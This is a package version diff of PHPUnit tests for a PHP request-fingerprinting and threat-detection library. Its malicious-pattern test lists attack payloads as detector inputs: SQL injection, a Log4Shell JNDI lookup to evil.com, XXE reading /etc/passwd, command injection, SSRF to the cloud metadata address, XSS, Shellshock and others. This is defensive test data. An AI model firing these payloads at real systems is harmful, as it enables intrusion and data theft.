@anonympins/fingerprint 0.6.7 → 0.7.1

package/src/php/Tests/IpReputationTest.php

@@ -160,6 +160,16 @@ class IpReputationTest extends TestCase
 
         $scoreWithHistory = RequestUtils::getSubnetScore($context, 'device-1');
         $this->assertGreaterThan(0.0, $scoreWithHistory['subnetScore']);
+        $this->assertLessThanOrEqual(45.0, $scoreWithHistory['subnetScore']);
+
+        // Test avec attaquant proche (/30)
+        RequestUtils::updateSubnetMetrics($context, "attacker-1", 85.0);
+        $scoreWithAttacker = RequestUtils::getSubnetScore($context, 'device-1');
+        $this->assertGreaterThanOrEqual(45.0, $scoreWithAttacker['subnetScore']);
+
+        // Vérification du calcul de préfixe commun
+        $this->assertEquals(32, RequestUtils::getIpCommonPrefixLength('192.168.1.50', '192.168.1.50'));
+        $this->assertEquals(31, RequestUtils::getIpCommonPrefixLength('192.168.1.50', '192.168.1.51'));
     }
 
     public function testTlsSpoofingScoreWithJa4(): void

package/src/php/Tests/MaliciousPatternsTest.php

@@ -1,104 +1,104 @@
-<?php
-
-declare(strict_types=1);
-
-namespace Anonympins\Fingerprint\Tests;
-
-use Anonympins\Fingerprint\Utils\MaliciousPatterns;
-use PHPUnit\Framework\TestCase;
-
-class MaliciousPatternsTest extends TestCase
-{
-    /**
-     * @dataProvider maliciousProvider
-     */
-    public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
-    {
-        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
-    }
-
-    /**
-     * @dataProvider openRedirectProvider
-     */
-    public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
-    {
-        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
-    }
-
-    public function maliciousProvider(): array
-    {
-        return [
-            // SQL Injections
-            ["' OR '1'='1", true],
-            ["UNION SELECT username, password FROM users", true],
-            ["normal text with no SQL", false],
-
-            // Log4Shell
-            ['${jndi:ldap://evil.com/a}', true],
-            ['normal log ${user.name}', false],
-
-            // SSTI
-            ['{{ 7*7 }}', true],
-            ['{% if user.isAdmin %}', true],
-            ['simple {braces}', false],
-
-            // XXE
-            ['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
-            ['<!DOCTYPE html>', false],
-
-            // Path Traversal
-            ['../../etc/passwd', true],
-            ['..\\..\\win.ini', true],
-            ['normal/path/to/file', false],
-
-            // RCE
-            ['`whoami`', true],
-            ['; ping -c 4 8.8.8.8', true],
-            ['normal ping command desc', false],
-
-            // SSRF
-            ['http://127.0.0.1/admin', true],
-            ['https://localhost:8443', true],
-            ['http://169.254.169.254/latest/meta-data', true],
-            ['https://google.com', false],
-
-            // CRLF
-            ["test\r\nHeader: value", true],
-            ["%0d%0aHeader: value", true],
-            ["clean string", false],
-
-            // XSS
-            ['<script>alert(1)</script>', true],
-            ['javascript:alert(1)', true],
-            ['<img src=x onerror=alert(1)>', true],
-            ['<b>bold text</b>', false],
-
-            // LFI/RFI
-            ['etc/passwd', true],
-            ['win.ini', true],
-            ['php://filter/resource=index.php', true],
-            ['normal_file.txt', false],
-
-            // Shellshock
-            ['() { :; }; echo "Vulnerable"', true],
-            ['() { :;};', true],
-            ['function test() {}', false],
-
-            // NoSQL Operator Injection
-            ['$gt', true],
-            ['$elemMatch', true],
-            ['$where', true],
-            ['This is $10', false],
-        ];
-    }
-
-    public function openRedirectProvider(): array
-    {
-        return [
-            ['https://evil.com/redirect', true],
-            ['//malicious-site.com', true],
-            ['/local/path', false],
-            ['http://localhost/dashboard', false],
-        ];
-    }
+<?php
+
+declare(strict_types=1);
+
+namespace Anonympins\Fingerprint\Tests;
+
+use Anonympins\Fingerprint\Utils\MaliciousPatterns;
+use PHPUnit\Framework\TestCase;
+
+class MaliciousPatternsTest extends TestCase
+{
+    /**
+     * @dataProvider maliciousProvider
+     */
+    public function testIsMaliciousDetectsThreats(string $payload, bool $expected): void
+    {
+        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload));
+    }
+
+    /**
+     * @dataProvider openRedirectProvider
+     */
+    public function testIsMaliciousDetectsOpenRedirect(string $payload, bool $expected): void
+    {
+        $this->assertSame($expected, MaliciousPatterns::isMalicious($payload, ['openRedirect']));
+    }
+
+    public function maliciousProvider(): array
+    {
+        return [
+            // SQL Injections
+            ["' OR '1'='1", true],
+            ["UNION SELECT username, password FROM users", true],
+            ["normal text with no SQL", false],
+
+            // Log4Shell
+            ['${jndi:ldap://evil.com/a}', true],
+            ['normal log ${user.name}', false],
+
+            // SSTI
+            ['{{ 7*7 }}', true],
+            ['{% if user.isAdmin %}', true],
+            ['simple {braces}', false],
+
+            // XXE
+            ['<!ENTITY xxe SYSTEM "file:///etc/passwd">', true],
+            ['<!DOCTYPE html>', false],
+
+            // Path Traversal
+            ['../../etc/passwd', true],
+            ['..\\..\\win.ini', true],
+            ['normal/path/to/file', false],
+
+            // RCE
+            ['`whoami`', true],
+            ['; ping -c 4 8.8.8.8', true],
+            ['normal ping command desc', false],
+
+            // SSRF
+            ['http://127.0.0.1/admin', true],
+            ['https://localhost:8443', true],
+            ['http://169.254.169.254/latest/meta-data', true],
+            ['https://google.com', false],
+
+            // CRLF
+            ["test\r\nHeader: value", true],
+            ["%0d%0aHeader: value", true],
+            ["clean string", false],
+
+            // XSS
+            ['<script>alert(1)</script>', true],
+            ['javascript:alert(1)', true],
+            ['<img src=x onerror=alert(1)>', true],
+            ['<b>bold text</b>', false],
+
+            // LFI/RFI
+            ['etc/passwd', true],
+            ['win.ini', true],
+            ['php://filter/resource=index.php', true],
+            ['normal_file.txt', false],
+
+            // Shellshock
+            ['() { :; }; echo "Vulnerable"', true],
+            ['() { :;};', true],
+            ['function test() {}', false],
+
+            // NoSQL Operator Injection
+            ['$gt', true],
+            ['$elemMatch', true],
+            ['$where', true],
+            ['This is $10', false],
+        ];
+    }
+
+    public function openRedirectProvider(): array
+    {
+        return [
+            ['https://evil.com/redirect', true],
+            ['//malicious-site.com', true],
+            ['/local/path', false],
+            ['http://localhost/dashboard', false],
+        ];
+    }
 }

package/src/php/Tests/MetricsTest.php

@@ -1,98 +1,98 @@
-<?php
-
-declare(strict_types=1);
-
-namespace Anonympins\Fingerprint\Tests;
-
-use Anonympins\Fingerprint\RequestContext;
-use Anonympins\Fingerprint\DirectFingerprint;
-use Anonympins\Fingerprint\Utils\MetricsManager;
-use Anonympins\Fingerprint\Store\InMemoryStore;
-use Anonympins\Fingerprint\Store\StoreManager;
-use PHPUnit\Framework\TestCase;
-
-class MetricsTest extends TestCase
-{
-    protected function setUp(): void
-    {
-        parent::setUp();
-        StoreManager::configureStore(new InMemoryStore());
-    }
-
-    public function testIncrementCounterAndGetPrometheusMetrics(): void
-    {
-        MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
-        $metrics = MetricsManager::getPrometheusMetrics();
-
-        $this->assertStringContainsString('fingerprint_requests_total', $metrics);
-        $this->assertStringContainsString('status="passed"', $metrics);
-    }
-
-    public function testGetPrometheusMetricsViaDirectFingerprint(): void
-    {
-        $config = [
-            'metricsAuthorizationCallback' => function (RequestContext $context) {
-                return true;
-            }
-        ];
-
-        $direct = new DirectFingerprint($config);
-        MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
-        $metrics = $direct->getPrometheusMetrics();
-
-        $this->assertNotNull($metrics);
-        $this->assertStringContainsString('fingerprint_requests_total', $metrics);
-    }
-
-    public function testGetMetricSecurityWeights(): void
-    {
-        $config = [
-            'weights' => [
-                'historyScore' => 0.3,
-                'rotationScore' => 0.5,
-                'invalidWeight' => 'not-a-number'
-            ]
-        ];
-
-        $weights = MetricsManager::getMetric('security_weight', $config);
-        $this->assertArrayHasKey('historyScore', $weights);
-        $this->assertEquals(0.3, $weights['historyScore']);
-        $this->assertArrayHasKey('rotationScore', $weights);
-        $this->assertEquals(0.5, $weights['rotationScore']);
-        $this->assertArrayNotHasKey('invalidWeight', $weights);
-    }
-
-    public function testGetMetricSecurityThresholds(): void
-    {
-        $config = [
-            'thresholds' => [
-                'low' => 20,
-                'medium' => 45,
-                'high' => 75,
-                'block' => 95
-            ]
-        ];
-
-        $thresholds = MetricsManager::getMetric('security_threshold', $config);
-        $this->assertEquals(20.0, $thresholds['low']);
-        $this->assertEquals(45.0, $thresholds['medium']);
-        $this->assertEquals(75.0, $thresholds['high']);
-        $this->assertEquals(95.0, $thresholds['block']);
-    }
-
-    public function testGetMetricDynamicCountersAndObservations(): void
-    {
-        MetricsManager::clearMetrics();
-        MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
-        MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
-        MetricsManager::incrementCounter('requests_total', ['status' => 'blocked']);
-
-        $counters = MetricsManager::getMetric('requests_total');
-        $this->assertEquals(2, $counters['status="passed"']);
-        $this->assertEquals(1, $counters['status="blocked"']);
-
-        MetricsManager::observeValue('suspicion_score', 85.5, ['action' => 'blocked']);
-        $observations = MetricsManager::getMetric('suspicion_score');
-        $this->assertEquals(85.5, $observations['action="blocked"']);
-    }
+<?php
+
+declare(strict_types=1);
+
+namespace Anonympins\Fingerprint\Tests;
+
+use Anonympins\Fingerprint\RequestContext;
+use Anonympins\Fingerprint\DirectFingerprint;
+use Anonympins\Fingerprint\Utils\MetricsManager;
+use Anonympins\Fingerprint\Store\InMemoryStore;
+use Anonympins\Fingerprint\Store\StoreManager;
+use PHPUnit\Framework\TestCase;
+
+class MetricsTest extends TestCase
+{
+    protected function setUp(): void
+    {
+        parent::setUp();
+        StoreManager::configureStore(new InMemoryStore());
+    }
+
+    public function testIncrementCounterAndGetPrometheusMetrics(): void
+    {
+        MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
+        $metrics = MetricsManager::getPrometheusMetrics();
+
+        $this->assertStringContainsString('fingerprint_requests_total', $metrics);
+        $this->assertStringContainsString('status="passed"', $metrics);
+    }
+
+    public function testGetPrometheusMetricsViaDirectFingerprint(): void
+    {
+        $config = [
+            'metricsAuthorizationCallback' => function (RequestContext $context) {
+                return true;
+            }
+        ];
+
+        $direct = new DirectFingerprint($config);
+        MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
+        $metrics = $direct->getPrometheusMetrics();
+
+        $this->assertNotNull($metrics);
+        $this->assertStringContainsString('fingerprint_requests_total', $metrics);
+    }
+
+    public function testGetMetricSecurityWeights(): void
+    {
+        $config = [
+            'weights' => [
+                'historyScore' => 0.3,
+                'rotationScore' => 0.5,
+                'invalidWeight' => 'not-a-number'
+            ]
+        ];
+
+        $weights = MetricsManager::getMetric('security_weight', $config);
+        $this->assertArrayHasKey('historyScore', $weights);
+        $this->assertEquals(0.3, $weights['historyScore']);
+        $this->assertArrayHasKey('rotationScore', $weights);
+        $this->assertEquals(0.5, $weights['rotationScore']);
+        $this->assertArrayNotHasKey('invalidWeight', $weights);
+    }
+
+    public function testGetMetricSecurityThresholds(): void
+    {
+        $config = [
+            'thresholds' => [
+                'low' => 20,
+                'medium' => 45,
+                'high' => 75,
+                'block' => 95
+            ]
+        ];
+
+        $thresholds = MetricsManager::getMetric('security_threshold', $config);
+        $this->assertEquals(20.0, $thresholds['low']);
+        $this->assertEquals(45.0, $thresholds['medium']);
+        $this->assertEquals(75.0, $thresholds['high']);
+        $this->assertEquals(95.0, $thresholds['block']);
+    }
+
+    public function testGetMetricDynamicCountersAndObservations(): void
+    {
+        MetricsManager::clearMetrics();
+        MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
+        MetricsManager::incrementCounter('requests_total', ['status' => 'passed']);
+        MetricsManager::incrementCounter('requests_total', ['status' => 'blocked']);
+
+        $counters = MetricsManager::getMetric('requests_total');
+        $this->assertEquals(2, $counters['status="passed"']);
+        $this->assertEquals(1, $counters['status="blocked"']);
+
+        MetricsManager::observeValue('suspicion_score', 85.5, ['action' => 'blocked']);
+        $observations = MetricsManager::getMetric('suspicion_score');
+        $this->assertEquals(85.5, $observations['action="blocked"']);
+    }
 }